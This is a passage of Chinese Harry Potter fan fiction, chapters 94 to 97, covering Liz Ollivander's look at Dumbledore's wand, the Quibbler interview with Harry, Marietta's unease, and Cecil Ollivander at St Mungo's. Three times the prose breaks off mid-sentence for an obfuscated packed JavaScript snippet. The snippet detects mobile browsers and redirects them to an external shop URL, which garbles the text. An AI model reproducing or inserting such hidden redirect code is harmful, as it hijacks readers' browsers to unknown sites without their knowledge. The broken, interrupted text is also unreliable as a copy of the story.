说话间,邓布利多把手伸进了他那件紫色丝绒斗篷之中,看似不经意地撩开了宽大的袖子,露出了一根样式特别的魔杖。莉兹起初冷淡的目光果然立刻有了变化,她眼珠子一转,视线死死锁在了他收起魔杖的右手上,并且在邓布利多握住魔杖的瞬间,尖锐而刺耳的嘶叫声从那里面传出来。 在霍格沃茨六年多,莉兹几乎见识过她认识的所有人的魔杖,哪怕是那位斯内普教授,她都在上课时偷偷摸摸观察过,只有邓布利多的,从未有人见过校长用魔杖施过魔法,他好像并不需要。只要手挥一挥,就能将礼堂变了样子。 惊讶与好奇心逐渐替代了先前沉默时的尴尬,莉兹稍有些紧张地攥住了自己的衣服下摆,然后清了清嗓子,开口问:“邓布利多先生,我能看看您的魔杖吗,您不用拿给我,您拿在手中给我看一眼就可以了。” 冒昧的请求在邓布利多看来好像是合理的一般,他没有一点犹豫,将那根奇特的魔杖抽出来放在了莉兹的手上。 原先轻微的尖锐嘶叫声变得愈发明显,莉兹不住地皱起了眉头,习惯性开始自言自语:“差不多十五英寸长,接骨木制作,这不太常见,没有任何弹性,几乎无法弯曲,杖芯是……” 在她将魔杖凑到眼前时,更为刺痛的感觉让她的不适也变得强烈了,她瞪大了眼睛,缓了好一阵子,才又看向了邓布利多。 “杖芯是夜骐的尾羽,”莉兹顿了一下,“历史上只有一根魔杖使用了它作为杖芯,我一直以为它应该不存在,它只是传说。” 邓布利多依然微笑着,莉兹的反应好像在他的预料之中,他点了点头继续听着。 “先生,其实我偶尔能听见魔杖的声音,它们都有自己的选择,会指向不同类型的巫师。这根魔杖充满了对巫师的不屑与傲慢,它是我见过最冰冷的魔杖,哪怕是现在我也能听见亡灵一般的嘶叫,它太不忠诚了,它在……在质疑您的魔力。”莉兹深呼吸了一次,放慢了语速,“您知道一旦您的力量减弱,它就会抛弃您吗?” 听到这一问句,邓布利多的笑容中多了几分满意,他应该是在确认什么:“正因如此,未来我可能会需要你,毕竟只要是一根存在的魔杖,就意味着制作师存在,那么就有被重新制作的机会,像迪戈里先生的魔杖一样,不是吗,奥利凡德小姐。” “这不一样,”莉兹果断地开口,“那完全不同。”正因为对友人的怀念是那样的强烈,强烈到她可以当作他仍然活着一样,才能将那根与友人紧密联系在一起的魔杖复制出来。 “所有人都在寻求更加强大的力量,为了通往胜利的结局,可惜在追求的人不只有我们。”邓布利多强调道,“聪明的人总要多受些苦。” 说罢,他慢慢走下了台阶,莉兹看着校长的背影,反复咀嚼着这句邓布利多曾经与她说过的话,所以要多受的苦是没办法回到无忧无虑的时候吗。 “爷爷,你说这是只有我能做到的,可是这件事我可以吗?”她问出声。 没办法只想着普普通通上个学、看点书、吃点甜的,以及聊些无意义的笑话。甚至连在伍德的信中,她都会下意识将目光放在他提到的那些和俱乐部有关的消息上,英魁协对各家球队营收的管制都在收紧,一月之后又有一批年轻的选手去到了其他联赛,普德米尔联队已经有两个人搬到了巴塞罗那,他们希望下一个转会的会是奥利弗·伍德。 新年的第一个月在永远写不完的课程作业以及一次又一次的D.A集会中接近了尾声,这期间乌姆里奇发布了一条新的教育令,禁止教师们在课堂上提及与课业无关的话题。用脚趾头想也知道是为了不让学生询问阿兹卡班越狱事件,那十个食死徒过去伤害过的人之中不乏在读学生们的家人。 结果平日里最爱插科打诨的李·乔丹,就因为说了一句简单的调侃成了这条教育令的最新受害者。 “可是噼啪爆炸牌不是与黑魔法防御课无关吗,那你也不应该批评他们。” 听到他这么说的时候,坐在韦斯莱双胞胎兄弟前一排的莉兹甚至低头笑了出来,李的逻辑完美无瑕,毫无破绽。 可惜逗乐的笑话换来却是血淋淋的手背,这让所有人越发不敢开口说话,也让乔治和弗雷德对乌姆里奇的不满即将到达一个临界值,安吉丽娜向他们提议最好去和麦格教授说明情况,但兄弟俩似乎完全没有这个打算。 好在二月乘着越来越热销的情人节巧克力来到了霍格沃茨,浓郁的甜味儿驱散了一些冷意,也给莉兹带来了几个好消息。 一是伍德的禁赛期终于结束,将在周末的联赛和周中的欧冠附加赛中重新上场。 二是波特的守护神咒语总算有了进展,在反复的练习中,那只牡鹿第一次正确展现出了主人的意识。 三是在福斯科老板的协助下,乔治和弗雷德终于低价租下了很不错的店面,他们决定复活节假期的时候先把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487882|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏在秘密基地的东西搬过去。 至于莉兹自己,她暂时还不能判断什么对她来说是好的,麦格教授上在变形学课上因为她的表现给拉文克劳加了三次五分算不算呢,还是她终于直白向弗立维教授表达了自己无意留校的想法并得到了理解呢。 院长一如既往地和善,也毫不吝啬对她的欣赏:“我手上的魔杖是来自你的爷爷,也许下一代的孩子再用到的奥利凡德魔杖,就是来自你了。” 能从教授那里听到这种话,让莉兹这段时间始终无法安定的心情变得平稳了许多,不再烦恼那份被驳回的实习申请会不会给自己的院长带来更多麻烦,也让乌姆里奇又少了一个刁难自己的理由。 这日午后时分,昏昏欲睡的莉兹放下了手里的书,吃了一颗巧克力,然后决定先把昨晚没来得及读的信看完。尽管伍德在假期时貌似轻飘飘地调侃着被禁赛的事情,她还是能从这一次的信里读出能够回到球场让他很高兴,字里行间都透露着他对比赛的渴望,很难想象若是今后事态再有变化,他们又被赶出赛场的话,他会是怎样的心情,失望与愤怒也许只是最轻的一层。 说实在的,自从伍德被反复禁赛,莉兹时不时在想,留在现在的英国对一个曾经魁地奇比天大的人来说是不是太残忍了,他真的有必要在这里浪费掉自己绝佳的黄金时间吗,选手生命短暂,用来反对魔法部和魁协,那值得吗,他才将将二十岁而已。 “好可怕,我好像变成了米歇尔。” 试图把这些忧虑写进回信中,墨汁滴落在皮靴上,渗进麂皮材质中,恍然点醒了莉兹,她慌忙把已经写完的纸团起来扔到一旁,又拿出了一张新的信纸摊开。 奥利弗 你寄来的东西我都收到了,徽章我给了秋一个,她很喜欢魁地奇之夜,之后休假有时间也想去见见杰姬和帕特里克。巧克力化掉了一些,因为我把背包放得离壁炉太近了,不过味道还是一样的,我不介意。 之前你说在训练时扭伤了膝盖,你应该没有处理完就立刻开始训练吧,我在普德米尔有线人你可不要瞒着我。 既然你周末要比赛,我会申请下一次去霍格莫德村的时间,我先把下周要交的论文写完。请放心,我并不在意情人节,何况那天帕笛芙茶馆一定很忙,我不想为了一份好吃的松饼等上一整天。 我在学校里没什么新鲜事,一切都是老样子,只是很久没认真读过书了,一开始有些不习惯,现在已经完全适应了,斯内普的作业都压不垮我。 总之,比赛顺利,健康完赛。(加粗的字体) 正在图书馆打着瞌睡的莉兹 把写完的信来回读了两遍,她用咒语擦掉伍德寄来的信封上的字,把它替换成了“奥利弗”,接着一股脑将桌上的课本与羊皮纸塞进包里,准备去猫头鹰棚屋找班克。半路上碰见刚下课的戴维斯,他被斯普劳特教授新培育的草药毒汁折腾得够呛,半边脸都肿了起来,正遮遮掩掩地往校医院跑去。 一向不喜欢去温室的莉兹庆幸自己早早就退选了草药学课,不至于在最后一年还要经历这种苦,虽然其他的课程也已经足够累人了。 95. 《唱唱反调》三月刊 总算是在周末有了闲暇时光,寝室里除了莉兹之外的三人一大早便出了门,她们将门关上的时候,还在床上的人惬意地翻了个身又闭上了眼睛,她决定要继续睡到自己被饿醒为止。毕竟昨晚在厨房和梅丽一起做风铃时,她被投喂了满满一筐黄油饼干,吃东西总是没有节制的莉兹·奥利凡德觉得自己的肚皮就要被撑破了。 今天是新学期的第一场魁地奇比赛日,格兰芬多对赫奇帕奇。本着输人不输阵的道理,格兰芬多的学生们几乎全员上阵,一大早就填满了北边的看台,把迟来的赫奇帕奇们都挤到了另一侧,其他学院尤其是斯莱特林的人可不愿意错过这个热闹,因为前两日格兰芬多的守门员罗恩·韦斯莱在训练中几乎漏掉了所有的球,等待场地的格拉哈姆跟领头的马尔福小子笑得直不起腰来,还十分贴心地将“情报”透露给了赫奇帕奇的扎卡赖斯。 轮番的打击让这位韦斯莱家的男孩在上场时就慌里慌张的,飞到球门前的途中撞了两个队友,那头红毛在阳光下看起来竟然宛如褪了色似的暗沉。他那两个被禁赛了的双胞胎哥哥可顾不上弟弟的消沉,俩人在罗恩第十次扑救失败的时候甚至还有心思在场边“喔喔”地叫着,因为他们还有个非常争气的妹妹,金妮·韦斯莱顶替了同样处在禁赛期的波特的位置,和安吉丽娜打了全场配合,阻止着赫奇帕奇暴风雨般的进攻,否则可能还会有更多的鬼飞球向罗恩扔去。 出于对全局的考量,以及队友们都认为这种针对性进攻对状态并不稳定的罗恩太过残忍了,金妮比预计时间更早地抓到了金色飞贼,在半个小时内结束了这场惨剧。最终格兰芬多落后赫奇帕奇十分,在积分榜上暂时垫底。 过于短暂的比赛时间引起了观众们的不满,格拉哈姆又开始带节奏高声嘲讽,看台上顿时陷入一阵骚乱,教师席的几个教授不得不要求在场的学生会的成员们组织自己学院的学生们离场,并且三年级以上的学生可以尽快去霍格莫德了。至于一直在想尽办法给所有的学生活动使绊子的乌姆里奇好像又找到了能够挑刺的点,她小跑着追上霍琦女士,不知说了什么,原本面无表情的霍琦女士的脸色突然就黑了,一句话没说甩了甩袖子就走开了。 这段赛事情报在秋的叙述中变得跌宕起伏又精彩,直到下午才醒来的莉兹吃着她带回来的巧克力松饼,听得津津有味。 “我猜测大概是命令霍琦女士限制观赛人数,或者是其他一些不讲道理的要求。”秋说道。 “并不稀奇,我看她巴不得魁地奇和我一样都消失在霍格沃茨。”莉兹的嘴角挂着似有若无的微笑。 秋抿着嘴摇摇头,她似乎有些听不惯莉兹这副自嘲的口吻,又开始谈论今早的比赛:“实际上,我不认为罗恩是个很糟糕的守门员。赫奇帕奇好像把所有精力都拿来对付他了,连找球手都没有在认真对待金色飞贼。” “柿子总是捡软的来捏,”莉兹把松饼上的糖浆抹匀,“况且足够可靠的守门员都是像奥利弗或者帕特里克那样的,哪怕被连着进六个都会把球抛回来给我们,然后说把这个扔对面去。” “那其实更适合守门员的会不会是金妮,”秋笑起来,“我已经很久没见过和你飞得一样稳的人了。” “请不要用我当做参照物,”莉兹缓缓摇头,开玩笑地说着,“我觉得安吉丽娜可能想过这件事了,她巴不得把金妮复制成几个人,一个顶波特,两个顶乔治和弗雷德,还有一个顶罗恩。” “真是棘手啊,我可追不上她。”秋感慨道,“下周就是我们的比赛了。” 莉兹没有再接话,吃了两大口松饼,腮帮子变得圆鼓鼓的,秋也耸了耸肩,换了话题说自己白天在三把扫帚里见到丽塔·斯基特了。 “我还以为她被禁止靠近霍格沃茨了呢。”莉兹无所谓地说着,“二十几条教育令多有噱头,乌姆里奇竟然不邀请她?” 秋知道莉兹这是又在嘲讽了,便继续解释道:“邀请她的人应该是波特或者是格兰杰,她进门时直奔着角落那一桌,还有卢娜也在一起,几个人聊了很长时间,我被玛丽埃塔叫走的时候,他们又续了一次杯。” “卢娜?”莉兹舔了舔嘴角的糖浆。 “金色头发的那个姑娘,眼睛的颜色和你很像……”秋介绍道。 “我认识她,我是疑惑她为什么会坐在那里而已。”莉兹打断了秋。 “我离他们有一段距离,不知道他们在说什么,”见莉兹的盘子已经空了,秋起身准备再去给她倒些红茶,“说起来,丽塔没有用那只古怪的速记笔,脸上的表情也和以前见过的不太一样。” “是吗……”莉兹若有所思地点点头,她想着要如何去打听才不会让他产生抵抗情绪,否则她很难将波特在学校里发生的所有事情都告知塞西尔,让凤凰社成员们对他的情况有所了解并提前做好备案。 好在她的这些疑惑与忧虑没有发酵太久,根本不足以令莉兹放在心上,因为当周一到来时一切都顺利得到了解决。 起初拉文克劳的学生们和往常一样,无人在意总是被放在公共休息室图书角的那一堆《唱唱反调》,不知何时开始被周围人称作疯姑娘的卢娜·洛夫古德会在父亲的杂志发售后放上十多本在学院休息室里,留给大家自助购买阅读。因此这一期也和过去的每一期一样,偶尔有同学瞥一眼,却没有人去翻开,所有人似乎更愿意去借阅弗立维教授书单上的那些麻瓜作者书籍。 直到有一个人停下来看了一眼封面上腼腆笑着的哈利·波特,同时也看清了标题的红字写着什么,她愣了几秒钟,而后匆忙往旁边贴着《唱唱反调》标志的铁罐里扔了几枚硬币,忙不迭翻到了对应的页数。 “哈利·波特终于说出真相,那天晚上我看到神秘人复活……”她轻声念着文章的每个字,声音越读越小,最后只能听到她吃力的喘气声,仿佛呼吸不畅似的,拿着杂志的手不住地发着抖。 晚餐时间结束,公共休息室的门被打开,她惊慌地丢下了仍然摊开的杂志,走进屋子里的每个人都被令人震惊的标题吸引了目光。 “这是什么?”被一书包的参考书压得直不起腰的罗杰·戴维斯先走了过来,他凑上去仔细看了看。 “《唱唱反调》?”跟在后面的秋翻了翻封面,“天呐,是波特……” 没一会儿凑上来的人越来越多,沙发上的这本也不知被谁抢走了,平日里温和礼貌且友好谦让的张小姐都不得不使出魁地奇球场上的劲头,才在图书角那里拿下了最后一本。 付钱的时候她不小心摸到罐子里有一枚加隆,熟悉的触感让她立刻警惕了起来,有哪个D.A成员竟然粗心把那枚假加隆投了进去。来不及观察周围,秋先把加隆塞到自己到口袋,接着转身跑上了楼。 而明明是第一个进门看到杂志的戴维斯则是两手空空,眼睁睁看着那位人美心善的队友挤到自己前头拿走了杂志,没有一句抱歉也没有一点礼让,戴维斯在原地生了好一阵子闷气。 “你还需要吗?”说话的人是卢娜,她顶着一头乱糟糟浅金发,身材瘦小,伸手从自己的背包里抽出了一本。 结果戴维斯又慢了半拍,刚要拿走时,旁边的同学扔下了一个西可,直接从卢娜手里抽走了那本《唱唱反调》。 “梅林的胡子!”戴维斯握着拳头眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487883|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛瞪得老大。 而卢娜则是不紧不慢地举起了手,她说话慢悠悠的,声音也不大,休息室里倏然安静了下来:“我会把订阅的地址留在公告栏上,今天寄出去的话,明早就会收到了。” “那我要订一本!” “我也是!” 嘈杂的人声又笼罩住了整个公共休息室,戴维斯摇了摇头,背着沉甸甸的包走上了楼梯。 与此同时在寝室里翻查着老魔杖历史的莉兹,十多分钟前刚被猛地推开门的玛丽埃塔吓了一跳,她走进来也没有打招呼和说话,一副忧心忡忡的模样,直奔她的床铺,穿着斗篷就钻进了被子里。莉兹对别人的情绪向来没有那么关心,只是出于好心挥了挥魔杖,帮她把床帘放了下来。 刚准备继续看书时,秋又以同样的力度推开了房门,她把手里攥着的杂志放到莉兹手边,脸上的表情像是惊讶又像是愤怒,她倒吸一口凉气开口说道:“我终于知道了那个晚上发生了什么,知道了塞德是怎么离开我们的,莉兹,我……” 秋的话被玛丽埃塔在床上的一声抽泣打断,她回头看过去,想起口袋里那枚假加隆,冷不丁改了口又说:“我们去厨房找点吃的,你晚上没去礼堂吧,我好像也没怎么吃饱。” 云里雾里的莉兹就这样被秋拽出了门,匆忙之下穿了两只不同的鞋子,庆幸巫师袍足够长,没人会注意她奇怪的装束。走在前面的秋把杂志藏在了袖子里,不过一路上莉兹又看到几个格兰芬多的学生也拿着一模一样的杂志,她的好奇心就快支撑不住她走到厨房了。 “能把刚刚的话说完吗,我现在心里头好像有虫子在爬。”莉兹追问说。 “我只是想知道自己有没有找错去恨的对象,”秋微笑起来,“我想知道自己的敌人有没有找对。” 她们在灶台里侧的草堆旁坐下,梅丽拿来了许多好吃的,多比则是主动跑去了楼梯口,他说只要有对奥利凡德小姐和张小姐不友好的人出现,他会立刻过来告诉她们。 秋笑着同她们道谢,而女孩的微笑在莉兹眼里并不温暖,苦涩又酸楚,接着她听到她继续讲:“你知道吗,莉兹,我没有任何拯救世界的兴趣,更不想成就什么伟大事业,无论接下来是战争,还是什么,我都不在乎,我只想知道那个人是谁,那个人为什么要这么做,为什么要把塞德从我的生命里带走。” 默默接过那本杂志,莉兹很快看完了波特的这篇采访,没有任何夸张与修饰,丽塔几乎如实转述了波特所要表达的全部内容,配上她熟练且高超的写作能力,那一晚的景象简直就像在人的眼前铺开了一样,连莉兹都不禁怔住了半晌,她看向厨房里的油灯,希望晃动的火苗可以把她对塞德里克的最后一眼从脑海中烧掉。 “用一个人的死亡来吹哨,这确实有点残忍了。”莉兹昂起头,眨了眨眼,鼻子有些发酸。 “是对我们残忍,他记忆里的世界还不是现在这个样子,我很喜欢那个时候,尤其是意识到今后的每一天都会是下坡路的时候,就更喜欢那个时候了。”秋又笑了起来,“真糟糕,我可能永远也没办法放下他走向前的。” “这一点也不糟糕,糟糕的是那个凶手,”莉兹垂眼道,“我希望他会接受审判,希望他的余生都被关在阿兹卡班监狱里被老鼠啃食,希望摄魂怪一点一点吸走他的灵魂,只保有最后一点意识,让他看见自己变成一具无法死去的活尸体,徒留痛苦。” 秋没有再回话,莉兹也在一旁安静地吃着三明治,良久她出声道:“最终恨和爱都会把我们指引到同一条道路上。” “是啊,”秋长舒一口气,“我们又不是在过家家。” 96. 她不对劲 几乎是在一夜之间,霍格沃茨许多人的手里都拿着一本《唱唱反调》,哪怕是在魁地奇世界杯时期,《魁地奇速报》都不曾有过这样高的关注度。弗立维教授还借走了秋的那一本,隔日上课前正要还给她的时候,却被来听课的乌姆里奇拦截下来,她一瞥见封面的那两行字,整张脸就气得通红,听说她一把夺过了杂志,接着狠狠地往手里的记分册上画了两个叉,最后跺着脚离开了教室。 当天新的一条教育令便颁布了,内容可想而知,八成是把《唱唱反调》列为禁读书目,又把其中写的内容列为了“绝对不可以说”的事情。 但是单单是禁止与没收可无法阻止人们好奇心的蔓延,接下来的几天,这本禁书杂志在校内的销量不降反增,就像莉兹做过的小册子似的,越是不允许越是流行。无论走到哪里都有人在谈论上面那篇访谈,大家对波特诚信度的议论似乎才消停了没多久,曾经被盖章为“说谎的男孩”的他摇身一变又成了一个吹哨人。 莉兹对这种场景倒是很熟悉了,虽说访谈的内容起初也给她带来了不小的冲击,只是像这样态度的变化,作为一位经常被推上舆论风口浪尖的明星选手的子女,她从小到大确实是看得太多了,文字操控人心比咒语还管用。 想到这里,坐在图书馆的莉兹抽出压在书下面的杂志,拿在手里盘了两下,三月刊发售有几日了,塞西尔没有给自己来信询问过,杰姬的电台里也没有提到任何和波特与塞德有关的事情。她思索着摊开一张空白的羊皮纸,走到这一步只能趁着热度推波助澜,让这个故事走出霍格沃茨,否则波特的讲述和一则校园逸闻并无差别。 东南角靠窗的这张桌子,因为离平斯夫人的办公桌很近,大多数的学生都不愿意靠近,眼睛里揉不得一点沙子的她有时候连翻找东西的声音大一些都忍受不了,甚至还会仗着图书管理员的身份凭心情随意给学生处罚。正因此,莉兹在今年选择了这里当作自己的固定自习位置,一是不会有来来往往的同学打扰,当然主要防的是图书馆黑名单榜首的那对双胞胎兄弟,二是同样揉不得沙子的乌姆里奇与平斯夫人水火不容、针尖对麦芒。 可以这样说,乌姆里奇已经依靠那些由康奈利·福吉签署的教育令在霍格沃茨拥有了仅次于邓布利多校长的掌控权,然而图书馆依然是她无法染指的区域,平斯夫人的傲慢与偏见从不挑选对象,她平等地看不惯所有人。 言简意赅地将要说的话写在了信上,莉兹偷瞄了一眼旁边的桌子,平斯夫人正捧着一本大部头在读,于是她便很迅速地拿起魔杖对着信纸轻轻一点,纸张的四个角自动折叠起来,同时一个火漆印式样的誓约印出现在正中间,她习惯性摸了摸项链上的石头,又一次微微发出了光芒,一阵安宁抚慰了她的心。莉兹的眼里出现一点笑意,她心想着奥利弗那家伙难道时时刻刻都把手头握在手里吗。 至于要给塞西尔的信件那就更要隐蔽,况且莉兹现在已经能熟练使用守护神传递消息了,到了傍晚时分,其他人都准备去礼堂吃晚餐,她趁这时候去了猫头鹰棚屋,先是借了秋的猫头鹰把东西寄给伍德,不出意料的话他在看完之后应该会去跟杰姬和帕特里克联系,然后给班克喂了两块肉干,提醒它不要贪玩,把东西扔到公寓二楼窗台就立刻折返。 不知是不是觉得主人的提醒像是一种不信任,班克努力瞪大了眼睛,连受伤的疤痕都被它撑开了。 “抱歉抱歉,我很需要你的。”莉兹无奈地又给了第三块肉干,“这回是真的没有了。” 她两手摊开给班克看,接着回头看了眼黑漆漆的外面,确定没有任何人在之后,挥起魔杖喊出“呼神护卫”,一条半人高的猎狼犬奔跑着冲向天空,班克也跟着一起飞了出去。 长舒一口气,莉兹在原地做了个伸展动作,僵硬的身体随着一个任务的完成变得舒服了一些,感觉到口袋里的加隆变热了,看来下次的集会时间又确定了。她拿出来看了一下,便不紧不慢地走下台阶,转弯拐进走廊和皱着的秋撞了个满怀,她看起来脸色不大好,不知道遇到了什么事。 “秋?”莉兹扶住她的肩膀,低声问道。 “看见你就好了,”秋稍稍放松了一些,“玛丽生病了,今天一直在发烧,我刚把她送到校医院。” “她最近很奇怪吧,”莉兹当着秋的面直接说了出来,心软的朋友做不到的事情,对冷酷无情的她来说就不算什么了,“我们寝室最近太安静了。” 秋攥着拳头,看向了别处,吞吞吐吐好一会儿才点了点头。 “我不太放心她,我不是重新买了一本那个——”秋抬手比划了两下,“今天送件的猫头鹰飞到寝室窗外,玛丽去开窗的时候简直吓坏了,她尖叫着把东西扔得老远,好像那是什么被诅咒了的道具。” “你觉得她不能接受这个事实。”莉兹又点破,“还是你觉得她信不过。” 这一点都不委婉的说法听得秋倒吸一口凉气,她无法立刻回话,沉默着转身和莉兹慢慢走向了礼堂,进门前她拉住了她,一枚加隆就这样被放在莉兹的手心。 “是她的,她先前扔掉的。”秋说道,然后顿了顿再补充,“还好只有我看到了。” 礼堂里喧闹的声音盖过了秋话语中的情绪,后半句像是她对她自己的安慰似的,可莉兹想这一刻的秋大约很不好受,怀疑朋友可能比憎恨敌人还要困难。 奈何她是那个不会安慰别人的朋友,只能是轻轻牵过秋的手,两个人走到拉文克劳长桌的尾端坐下,至于秋接下来要怎么处理这个问题,那不是莉兹有权过问的范畴,她只会考虑最坏的情况,并且如何善后。 比如戴维斯提过乌姆里奇把学生会里好几个级长收买了,又比如乌姆里奇对教授们的课程评分结果不日就要公开了,也许会有教授因此被辞退——怎么所有的坏事都跟这一个人有关,真是太没意思了。 很快又到了新一次的D.A集会,从校医院回来的玛丽埃塔仍然处在病假期间,她在寝室已经躺了三天了,除了勉强吃些烤面包之外,几乎不会起身,也不和寝室里其他人说话,包括秋在内。而这一晚莉兹则是和往常一样比约定时间早到了四十分钟,她和波特约好要继续帮他练习守护神咒语,上一回的练习情况很糟糕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487884|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波特一晚上都面色发青,看着状态非常不好。 虽然莉兹尝试着问过是不是有什么难事,但对方只回了一句“我真的受不了斯内普了”,并且这个答案配上他的脸色实在是太有说服力了,莉兹对此全无质疑。 在等待的空闲,莉兹打开了角落的收音机,伍德昨晚的回信中提到今天他会出现在杰姬的节目里,她猜测他们一定会谈《唱唱反调》里的访谈,在熟悉的开场音乐结束后,伍德竟然是今晚说开场白的那一个人,大概是还有些紧张,他磕巴了两次,旁边便传来了杰姬的笑声。 说完几句寒暄,杰姬主动询问起了伍德上周的比赛,听说他贡献了几个相当精彩的扑救,灵活的脚上功夫很是厉害。被夸赞了的伍德非常得意,在其他地方老实木讷的家伙,只有在魁地奇上一点都不谦虚,莉兹笑了笑,把声音又调大了一些接着听下去。 “今天伍德选手还带来了一些特别的消息,不知道大家有没有看一本叫‘唱唱反调’的杂志,里面的一篇访谈我想我们所有的听众应该会非常感兴趣,我读一两段节选……是的,我一开始看到的时候也很吃惊,谁都没有想过那一夜发生了这样的事情,也都没想过神秘人已经卷土重来了。哈利他……他真的很勇敢……伍德选手在校的时候是队友,你应该很了解他吧。” “……其实我并不惊讶,我是指他有多勇敢这件事,毕竟哈利是至今为止我见过最会飞的选手里胆子最大的,塞德可能很聪明也很有技巧,不过少了些魄力,如果他们能再比上一次,比赛一定会很精彩的。” “那我可要为迪戈里反驳一下了,我们的学院之光……” 杰姬与伍德谁也不让着谁,听得莉兹不禁笑出声,而因为过于专注地听广播,也让她没留意早就进了有求必应屋的波特,他似乎不敢相信过去只会严厉地要求全员不畏风雨埋头练魁地奇的伍德正在夸奖自己,自然也不敢相信一档电台节目会直白地谈论被魔法部禁止的话题,这一切都令他恍惚。 “你们都相信了,伏地魔的人杀死了塞……”哈利把后半句咽了回去。 “谢谢你告诉我们,那解决了我的很多疑问,”莉兹转过身去看向他,脸上的笑容没有收起,语调也温柔,“而且我说过的,我们身边站着很多人。” “这还真是让人安心。”哈利脸上似有若无挂着一些苦笑,至少这些话能把魔药学课上得到的两个D和在大脑封闭术学习里经受的羞辱暂时冲出他的脑海。 “我知道我说过身边的人不一定所有人都可信,但只要你选择了相信某一个人,那就不应该再有任何怀疑,不是吗?” 见他还是那个老样子,莉兹抬手关上了收音机又补上一句:“我很可信但我不是个倾听者,所以千万离你的朋友近一点。” 这份理智的冷淡像一盆冷水,哈利清晰地感知到了自己的那份内疚,也意识到自己藏了太多不敢告诉任何人的事情,不过这份“不听不问不管”也同样是一盆温水,足够舒缓,直到哈利的内心变得平静。 “那么开始吧,让我看看你的练习成果。”莉兹轻轻拍手,哈利便回过了神。 97. 福吉的暴怒 塞西尔·奥利凡德发誓自己并不想理睬一些麻烦事,比如罗里是否因为圣芒戈医院对同事斯特劳毫无程序可言的行政处罚而选择提告,她这位自诩睿智的兄长想必不是看不出布罗德里克·博德意外身故这件事的蹊跷,他只是和过去一样摸不清敌我,分不清真正的立场。 一个普通的巫师的确有可能无法辨认栽种在盆内的植物是常见的藤蔓还是魔鬼网,但平日里来往病房都是专业素养过关的治疗师,他们不仅精通草药与植物学,而且还擅长解决各种毒物。将这件事概括为管床治疗师斯特劳的查房疏漏,给予停薪留职的处分,这是医院看在博德家人的份上,在目前能够给出的最合适的解释。 诚然斯特劳在内部会议中无数次强调,自己并不知道为什么会有一盆魔鬼网出现在病床旁,可是否有夺魂咒的影响,院内有无数的治疗师有能力分辨,正因如此他们才会选择保持沉默,毕竟一名魔法部职员遇害,事情可大可小,不管是哪一方都需要一个站得住脚的解释。 “你清醒一点,让医院明面上得罪魔法部,先不说谁对谁错,总之吃亏的是所有普通人,你认为现在还能像当年一样再一夜间转移上百个病人吗?”心烦意乱的时候塞西尔的手总会不自觉发抖,她已经有两个礼拜没有碰过一点酒了。 瞥见了妹妹颤抖的手指,罗里那点被正义感驱使的怒意平息了大半,脑子里不断闪现那时食死徒闯入圣芒戈医院的景象,就像是无理由的屠杀,一旦被问到的人回答不知道,下一秒便是一道又一道绿色的光芒。 “抱歉,”罗里起身打开药剂柜,挥着魔杖回头取了一个干净的玻璃瓶,三两下倒了些什么进去,“难受的时候喝一口,你会觉得好受一些。” 塞西尔立刻两手环抱站在角落一动不动,她并不愿被人看出这点窘迫,她也记不起上一次罗里开口关心自己的是什么时候,他们连在学校时都像是同姓的陌生人似的,从来都没有人将那位拉文克劳出身的风云人物罗里·奥利凡德和她这个来自赫奇帕奇学院的古怪女孩联系在一起,她甚至会在林子里追着一只嗅嗅跑上一天。 “你就拿着吧!”罗里强行把瓶子塞进她的斗篷口袋里,“你说的意思我明白了,斯特劳那里我有分寸了,请邓布利多先生放心。” “最好是这样。”塞西尔清了清嗓子,拉开办公室的门,“后续还有事的话,我会再写信的。” 说罢听得一阵清脆的爆炸声,女人的身影消失在医院走廊,罗里长叹一口气后退了两步回到屋内,不知为何,自从知道妹妹并非食死徒之后,他却觉得她做的事情仍然危险,或者说更危险了,哪怕她的引路人是那位邓布利多。 回去的路上塞西尔路过了正在营业的麻瓜酒吧,她曾经在这儿赢下了自己那辆雅马哈,换班的酒保刚巧出来认出了她,便一边挥着手打招呼一边邀请她来一杯,人到深夜就容易意志不坚定,塞西尔刚要破戒掉的时候,手摸到了口袋里的玻璃瓶,她咬牙停住了脚步,对着他摆了摆手,表示自己赶时间,接着仰头灌了一大口药剂,快步离开了那里。 刚入口的瞬间,浓烈的甜意让人起了鸡皮疙瘩,但不过半秒,甜味儿便会化成舒缓的感觉蔓延开来,发麻的手指不再僵硬,混沌的脑子和模糊的双眼都变得清楚了起来。把瓶子凑近闻了闻,塞西尔恍然大悟一般哈哈笑了两声,这不就是小孩子梦魇时会喝的糖浆嘛。 